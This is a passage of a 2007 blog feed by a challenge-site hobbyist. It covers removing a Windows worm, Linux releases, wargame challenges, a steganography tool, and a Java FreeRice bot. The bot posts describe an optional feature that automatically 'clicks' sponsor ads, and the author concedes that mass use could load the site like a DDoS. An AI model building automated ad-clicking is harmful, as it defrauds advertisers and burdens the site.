for later, and get to the removal instruction. If you have a look at the running processes under &lt;a href="http://www.neuber.com/taskmanager/"&gt;Security Task Manager&lt;/a&gt;, you'll see that the virus is faking the name of lsass.exe and smss.exe, with similar ones in C:\Windows\system32\com\. Also it probably wants to hijack your browser with ljjijgf.dll in C:\Windows\system32\ too. Get rid of them and you're safe :)&lt;br /&gt;&lt;br /&gt;Update: as discovered by my little brother, you need to get rid of 2 other fake files: rar.exe and alg.exe somewhere in the Windows directory too.&lt;br /&gt;&lt;br /&gt;Update2: the virus has been &lt;a href="http://www.bkav.com.vn/tin_tuc_noi_bat/28/12/2007/2/1334/"&gt;identified as W32.Dashfer.Worm by BKIS&lt;/a&gt;. You can &lt;a href="http://www.bkav.com.vn/home/Download.aspx"&gt;get BKAV&lt;/a&gt; to wipe the virus away from your computer.&lt;span id="ctl04_ctl02_main"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;And finally, some images for your curious eyes:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_OCNhupYc3g0/R2_XjWEw2zI/AAAAAAAAACY/e2Bp9LaRAFU/s1600-h/lsass.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://3.bp.blogspot.com/_OCNhupYc3g0/R2_XjWEw2zI/AAAAAAAAACY/e2Bp9LaRAFU/s320/lsass.png" alt="" id="BLOGGER_PHOTO_ID_5147569901328718642" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_OCNhupYc3g0/R2_XJGEw2yI/AAAAAAAAACQ/LotK2snNHvA/s1600-h/virus2.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://2.bp.blogspot.com/_OCNhupYc3g0/R2_XJGEw2yI/AAAAAAAAACQ/LotK2snNHvA/s320/virus2.png" alt="" id="BLOGGER_PHOTO_ID_5147569450357152546" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-8679461570393576103?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/8679461570393576103/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=8679461570393576103' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/8679461570393576103'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/8679461570393576103'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/12/virus-again-damn-it.html' title='Virus again? Damn it!'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_OCNhupYc3g0/R2_XjWEw2zI/AAAAAAAAACY/e2Bp9LaRAFU/s72-c/lsass.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-261381364897953772</id><published>2007-12-15T06:50:00.000Z</published><updated>2012-02-11T10:34:37.510Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='mandriva'/><category scheme='http://www.blogger.com/atom/ns#' term='spring'/><category scheme='http://www.blogger.com/atom/ns#' term='kde4'/><category scheme='http://www.blogger.com/atom/ns#' term='2008.1'/><title type='text'>Mandriva 2008.1</title><content type='html'>There hasn't been any post for quite a while, although I have been taming the penguin quite well :)&lt;br /&gt;&lt;br /&gt;The nasty bug with rpm has finally been solved. It turned out to be some kernel problem. The unofficial solution was to reboot under the old 2.6.17 and rebuild the db. If that still doesn't work for you, you should continue reporting it at the &lt;a href="http://qa.mandriva.com/show_bug.cgi?id=32547"&gt;Mandriva Bugzilla&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;So I have been having a real stable system for a few months, and today I was really surprised to find out that the &lt;a href="http://club.mandriva.com/xwiki/bin/view/Main/20081Alpha1"&gt;first alpha version of 2008.1 has been released&lt;/a&gt;. That was incredibly fast compared to the delay in 2008.0. It comes with KDE 4 RC2 that everyone has been longing for. Recently I've heard that KDE 4 not only had a better look &amp;amp; feel and cool new features, but &lt;a href="http://www.kdedevelopers.org/node/3137"&gt;it also provided better performance too&lt;/a&gt; :)&lt;br /&gt;&lt;br /&gt;Time to update to the new version and see how it works :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-261381364897953772?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/261381364897953772/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=261381364897953772' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/261381364897953772'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/261381364897953772'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/12/mandriva-20081.html' title='Mandriva 2008.1'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-1438842787157468982</id><published>2007-12-14T12:35:00.000Z</published><updated>2007-12-14T13:01:57.501Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='smashthestack'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Linux cracking live demonstration</title><content type='html'>Just experienced a real cool live demonstration of Linux cracking given by &lt;a href="http://www.bright-shadows.net/userstats.php?username=rhican"&gt;rhican&lt;/a&gt; :) With his 1337 skills, he showed me how to solve &lt;a href="http://io.smashthestack.org/"&gt;smashthestack io level 5&lt;/a&gt;. And believe it or not, just the little &lt;a href="http://www.rackaid.com/resources/linux-tutorials/general-tutorials/linux-screen.cfm"&gt;screen&lt;/a&gt; command was enough to deliver all the rich user experience that you will need to abuse webcams, videos or remote desktop on Windows to achieve.&lt;br /&gt;&lt;br /&gt;What more can I say? Well, I have been trying to tame the penguin for years, but no matter how much I know, I was still surprised to see how powerful Linux can be when controlled by a power user.&lt;br /&gt;&lt;br /&gt;Obviously the demonstration was much better than the &lt;a href="http://www.youtube.com/results?search_query=hacking&amp;amp;search=Search"&gt;lame hacking videos that some noobs uploaded to YouTube&lt;/a&gt; just for some fake feeling of uberness.&lt;br /&gt;&lt;br /&gt;Time to finish more challs and reach another level of the &lt;a href="http://www.levenez.com/unix/guru.html"&gt;Unix hacker hierarchy&lt;/a&gt;!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-1438842787157468982?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/1438842787157468982/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=1438842787157468982' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/1438842787157468982'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/1438842787157468982'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/12/linux-cracking-live-demonstration.html' title='Linux cracking live demonstration'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-2085480105837752973</id><published>2007-12-01T04:51:00.000Z</published><updated>2007-12-01T05:08:41.914Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='wechall'/><category scheme='http://www.blogger.com/atom/ns#' term='qtj'/><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><title type='text'>Java applet tutorial</title><content type='html'>Hey guys,&lt;br /&gt;&lt;br /&gt;Remember the Java applet tutorial that I promised months ago?&lt;br /&gt;&lt;br /&gt;I have been working on it for the last few months, and finally when I noticed there were too many things to cover, I decided to start a blog for it. The blog name is the same as my famous Java applet series - "quangntenemy teaches Java". You can access it at &lt;a href="http://qtjava.blogspot.com"&gt;http://qtjava.blogspot.com&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The tutorial is not complete yet, but for now it should help you get started with the easy challs. More interesting lessons, together with tips and tricks will come soon.&lt;br /&gt;&lt;br /&gt;If you have any questions, comments and suggestions about Java challs, or anything Java-related, do not hesitate to leave a comment there.&lt;br /&gt;&lt;br /&gt;What about things other than Java, you might ask? Just to let you know, I have been starting a new team blog: WeChall at &lt;a href="http://wechall.blogspot.com"&gt;http://wechall.blogspot.com&lt;/a&gt;. At the moment I have recruited theAnswer, Gizmore and Unhandled to the team. Hopefully the blog will provide everything you need for the challenger world: from reviews on the cool challenge sites, to online resources, tools, and tips and tricks from the top challengers.&lt;br /&gt;&lt;br /&gt;Feel free to visit WeChall and share your knowledge!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-2085480105837752973?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/2085480105837752973/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=2085480105837752973' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/2085480105837752973'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/2085480105837752973'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/12/java-applet-tutorial.html' title='Java applet tutorial'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-9043760398161713893</id><published>2007-11-18T15:21:00.000Z</published><updated>2007-11-18T15:48:11.056Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='freerice'/><category scheme='http://www.blogger.com/atom/ns#' term='bot'/><title type='text'>FreeRice continued</title><content type='html'>Hey guys, it's the FreeRice story again.&lt;br /&gt;&lt;br /&gt;Another Ruby developer, Dave Troy, sent his computer on the quest of feeding more people, by creating a &lt;a href="http://davetroy.blogspot.com/2007/11/hacking-freericecom-program-to-feed.html"&gt;multi-threaded bot&lt;/a&gt; that sends 50 requests simultaneously.&lt;br /&gt;&lt;br /&gt;I, on the other hand, was trying to make my bot behave ;) Another feature was added - adclicking. Now you can configure the bot to play nice by setting &lt;span style="font-weight: bold;"&gt;click&lt;/span&gt; to &lt;span style="font-weight: bold;"&gt;true&lt;/span&gt; in freerice.properties. At the moment the bot can only 'click' the sponsor ads. The Google ads were kinda complicated - blame Google for that - so I'll leave them untouched for now :P&lt;br /&gt;&lt;br /&gt;&lt;img src="http://www.freewebs.com/quangntenemy/freerice/assistant.png" alt="FreeRice Assistant" title="FreeRice Assistant" style="float: left; margin-right: 10px;" /&gt;Another cool feature is the FreeRice Assistant. Now users who don't like botting can still use this little utility&lt;br /&gt;to lookup words to improve their results and donate more rice. Kinda cool huh? :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;If you like the new features, just come and get the bot from &lt;a href="http://www.freewebs.com/quangntenemy/freerice/index.html"&gt;here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-9043760398161713893?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/9043760398161713893/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=9043760398161713893' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/9043760398161713893'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/9043760398161713893'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/11/freerice-continued.html' title='FreeRice continued'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-4027649815793742098</id><published>2007-11-17T03:27:00.001Z</published><updated>2007-11-17T04:02:23.593Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='wikipedia'/><category scheme='http://www.blogger.com/atom/ns#' term='challenge'/><category scheme='http://www.blogger.com/atom/ns#' term='wargame'/><title type='text'>Wikipedia</title><content type='html'>Hey guys,&lt;br /&gt;&lt;br /&gt;Today while browsing the articles at &lt;a href="http://en.wikipedia.org/wiki/"&gt;wikipedia&lt;/a&gt;, I did a quick search for our favourite game - wargames, hacker games, computer-based challenges, or whatever it is called, and noticed that &lt;a href="http://en.wikipedia.org/wiki/War_Games"&gt;there's still no article for it&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;I remember discussing with other challengers about it a few years ago on &lt;a href="irc://irc.idlemonkeys.net"&gt;our favourite IRC channel&lt;/a&gt;. While many agreed with the idea, no work has been done so far. Only until recently, the game has been added as an open link:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;A game of computer security, popularized by &lt;/span&gt;&lt;a style="font-style: italic;" href="http://en.wikipedia.org/w/index.php?title=Hackerslab.org&amp;amp;action=edit" class="new" title="Hackerslab.org"&gt;Hackerslab.org&lt;/a&gt;&lt;span style="font-style: italic;"&gt; and the &lt;/span&gt;&lt;a style="font-style: italic;" href="http://en.wikipedia.org/wiki/DEF_CON" title="DEF CON"&gt;DEF_CON&lt;/a&gt;&lt;span style="font-style: italic;"&gt; hacker convention. See &lt;/span&gt;&lt;a style="font-style: italic;" href="http://en.wikipedia.org/w/index.php?title=Wargames_%28Computer_Security%29&amp;amp;action=edit" class="new" title="Wargames (Computer Security)"&gt;Wargames (Computer Security)&lt;/a&gt;&lt;span style="font-style: italic;"&gt;.&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;So guys, what are you waiting for? Let's start filling it with an article about our favourite game :)&lt;br /&gt;&lt;br /&gt;Any idea? Join our discussion at &lt;a href="http://www.bright-shadows.net/forum/forum_showtopic.php?topicid=2907"&gt;TBS forum&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-4027649815793742098?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/4027649815793742098/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=4027649815793742098' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4027649815793742098'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4027649815793742098'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/11/wikipedia.html' title='Wikipedia'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-3523173887552700912</id><published>2007-11-14T02:19:00.000Z</published><updated>2007-11-14T02:29:02.624Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='stegano'/><category scheme='http://www.blogger.com/atom/ns#' term='steganabara'/><title type='text'>Steganabara project page</title><content type='html'>Hey guys,&lt;br /&gt;&lt;br /&gt;Finally I defeated my laziness and created a project page for Steganabara. It is located &lt;a href="http://www.freewebs.com/quangntenemy/steganabara/index.html"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;There you can find a brief view of the key features, watch and download the latest versions.&lt;br /&gt;&lt;br /&gt;Time to finish those evil &lt;a href="http://www.bright-shadows.net/userstats.php?username=BaRa"&gt;bara's challenges&lt;/a&gt; now. And if you have any idea for improving the tool, feel free to contact me :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-3523173887552700912?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/3523173887552700912/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=3523173887552700912' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/3523173887552700912'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/3523173887552700912'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/11/steganabara-project-page.html' title='Steganabara project page'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-307142143188291309</id><published>2007-11-13T03:14:00.000Z</published><updated>2007-11-13T03:37:12.902Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='freerice'/><category scheme='http://www.blogger.com/atom/ns#' term='irc'/><category scheme='http://www.blogger.com/atom/ns#' term='bot'/><title type='text'>FreeRice IRC Bot</title><content type='html'>I just added another bot to the project - an IRC bot.&lt;br /&gt;&lt;br /&gt;Let this bot run on your IRC channel, play with it, and help donate rice to poor people.&lt;br /&gt;&lt;br /&gt;Grab a copy of the bot from &lt;a href="http://www.freewebs.com/quangntenemy/freerice/index.html"&gt;here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-307142143188291309?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/307142143188291309/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=307142143188291309' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/307142143188291309'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/307142143188291309'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/11/freerice-irc-bot.html' title='FreeRice IRC Bot'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-62716515944647293</id><published>2007-11-11T13:31:00.000Z</published><updated>2007-11-14T02:29:39.884Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><category scheme='http://www.blogger.com/atom/ns#' term='freerice'/><category scheme='http://www.blogger.com/atom/ns#' term='bot'/><title type='text'>FreeRice</title><content type='html'>If you have been a regular visitor to &lt;a href="irc://irc.idlemonkeys.net"&gt;irc.idlemonkeys.net&lt;/a&gt;, probably you have heard about &lt;a href="http://www.freerice.com/"&gt;FreeRice&lt;/a&gt;, a website that donates rice to poor people in the world.&lt;br /&gt;&lt;br /&gt;The rule is simple: for each word you get right, 10 grains of rice is donated to help end world hunger.&lt;br /&gt;&lt;br /&gt;During the conversation on &lt;a href="irc://irc.idlemonkeys.net/#hackquest"&gt;#hackquest&lt;/a&gt;, some of the geeks showed the desire to save humanity by creating a learning bot (to be exact, a memorizing bot) that plays the game and helps donate the rice. SilentNutcracker and alt3rn4tiv3 &lt;a href="http://altblog.searix.net/index.php/2007/11/04/how_to_give_more_free_rice"&gt;started the first implementation of the game&lt;/a&gt;. It is built on top of php, curl and mysql.&lt;br /&gt;&lt;br /&gt;As a super botter, I could not let them enjoy the fun alone. So I created a similar bot, written in Java. You can grab a copy from &lt;a href="http://www.freewebs.com/quangntenemy/freerice/index.html"&gt;my website&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Unlike their version, my bot uses serialized data, without any need for a DBMS. So you only need &lt;a href="http://java.sun.com/javase/downloads/index.jsp"&gt;JRE 5&lt;/a&gt; to get the bot up and running :)&lt;br /&gt;&lt;br /&gt;However, I've always been wondering, does botting really help donating rice? I guess that's only true to a certain extend. If too many people launch the bot, it'll be no different from a DDOS attack, and the FreeRice people surely won't like it. So you might want to adjust some settings in freerice.properties to make sure that the bot won't hurt the server too much :P&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-62716515944647293?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/62716515944647293/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=62716515944647293' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/62716515944647293'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/62716515944647293'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/11/freerice.html' title='FreeRice'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-4059658713370602295</id><published>2007-10-30T15:44:00.000Z</published><updated>2007-11-13T06:38:55.533Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='rankk'/><title type='text'>Geb! Finally!</title><content type='html'>Yeah, finally solved the G&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_0"&gt;eb&lt;/span&gt; challenge at &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;rankk&lt;/span&gt; and finished the sacred journey, after months working on it :)&lt;br /&gt;&lt;br /&gt;It was well worth the effort. The challenge was really enjoyable, and surely the most interesting challenge at &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;rankk&lt;/span&gt;. It's just wonderful no matter how much you try, there are still something new and interesting to learn somewhere in the wilderness.&lt;br /&gt;&lt;br /&gt;And finally, the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;Geb&lt;/span&gt; secret has been unraveled! I would like to share it with you guys but probably it'd be better if you figure it out all by yourselves :P Don't worry, if you ever need help on your way, &lt;a href="http://www.freewebs.com/quangntenemy/#projects"&gt;some of the tools I created&lt;/a&gt; might help you ;)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-4059658713370602295?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/4059658713370602295/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=4059658713370602295' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4059658713370602295'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4059658713370602295'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/10/geb-finally.html' title='Geb! Finally!'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-3532609540270506381</id><published>2007-10-29T07:55:00.000Z</published><updated>2007-10-29T08:16:59.818Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='steganabara'/><title type='text'>Steganabara new release - 1.1.0</title><content type='html'>Hey guys,&lt;br /&gt;&lt;br /&gt;Finally Steganabara has been improved - 1.1.0 now :)&lt;br /&gt;&lt;br /&gt;The zoom feature has been added, finally!&lt;br /&gt;The BitMask filter now has an amplify option, which will make the result easier to view for human eyes.&lt;br /&gt;The color table now displays the hex values instead of the meaningless integer ones.&lt;br /&gt;The color explorer now also displays the coordinates and the hex values.&lt;br /&gt;And all the features are now compatible with all image panels.&lt;br /&gt;&lt;br /&gt;You can get the binaries together with source code here: &lt;a href="http://www.freewebs.com/quangntenemy/steganabara/Steganabara-1.1.0.tar.gz"&gt;http://www.freewebs.com/quangntenemy/steganabara/Steganabara-1.1.0.tar.gz&lt;/a&gt;.&lt;br /&gt;As I am a bit lazy atm the ready to run jar file will be updated later.&lt;br /&gt;&lt;br /&gt;Also stay tuned for the detailed documentations.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-3532609540270506381?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/3532609540270506381/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=3532609540270506381' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/3532609540270506381'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/3532609540270506381'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/10/steganabara-new-release-110.html' title='Steganabara new release - 1.1.0'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://www.freewebs.com/quangntenemy/images/pic.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7506564578992703357.post-4540347534147742701</id><published>2007-10-23T01:54:00.000+01:00</published><updated>2007-10-23T02:05:43.076+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='rankk'/><category scheme='http://www.blogger.com/atom/ns#' term='interview'/><title type='text'>Rankk interview</title><content type='html'>I was interviewed by Sphinx a few days ago, and now the interview is published at &lt;a href="http://rankk.blogspot.com/"&gt;Rankk's blog&lt;/a&gt;. I feel honoured :) Check it out guys!&lt;br /&gt;&lt;br /&gt;Maybe in the next few weeks you can find the interviews with valsa and Sapr0 there.&lt;br /&gt;&lt;br /&gt;And of course if you want to know more about me, find me at irc.idlemonkeys.net on a nice saturday evening :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7506564578992703357-4540347534147742701?l=quangntenemy.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://quangntenemy.blogspot.com/feeds/4540347534147742701/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7506564578992703357&amp;postID=4540347534147742701' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4540347534147742701'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7506564578992703357/posts/default/4540347534147742701'/><link rel='alternate' type='text/html' href='http://quangntenemy.blogspot.com/2007/10/rankk-interview.html' title='Rankk interview'/><author><name>quangntenemy</name><uri>http://www.blogger.com/profile/06889040235572873334</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' 